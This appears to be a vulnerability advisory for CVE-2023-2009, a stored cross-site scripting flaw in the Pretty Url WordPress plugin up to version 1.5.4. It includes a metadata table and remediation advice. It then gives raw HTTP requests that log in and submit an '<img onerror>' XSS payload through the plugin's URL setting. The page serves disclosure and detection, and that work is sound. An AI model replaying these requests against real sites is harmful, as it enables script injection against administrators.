| Title | Pretty Url <= 1.5.4 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | High-privilege authenticated attackers can inject stored XSS through the URL field in plugin settings, potentially compromising other administrator accounts even when unfiltered_html capability is disabled in WordPress multisite setups. |
| Remediation | Update Pretty Url plugin to a version newer than 1.5.4 that properly sanitizes and escapes the URL field in plugin settings to prevent stored XSS attacks. |
| CVSS Score | 4.8 |
| EPSS Score | 0.01944 |
| CVE ID | CVE-2023-2009 |
| CWE ID | CWE-79 |
| Tags | cve2023 cve wordpress wpscan wp-plugin wp authenticated pretty-url xss pretty_url_project vuln |
Plugin does not sanitize and escape the URL field in the plugin settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Connection: close
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=((username))&pwd=gNWp3W&wp-submit=Log+In
GET /wp-admin/admin.php?page=prettyurls HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin.php?page=prettyurls HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 215
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_wpnonce=LM3v9d&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dprettyurls&id=&category=accordions%7Epost_type&url=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&meta_title=&meta_description=&meta_keyword=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2009.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-2009.pcap
N/AN/A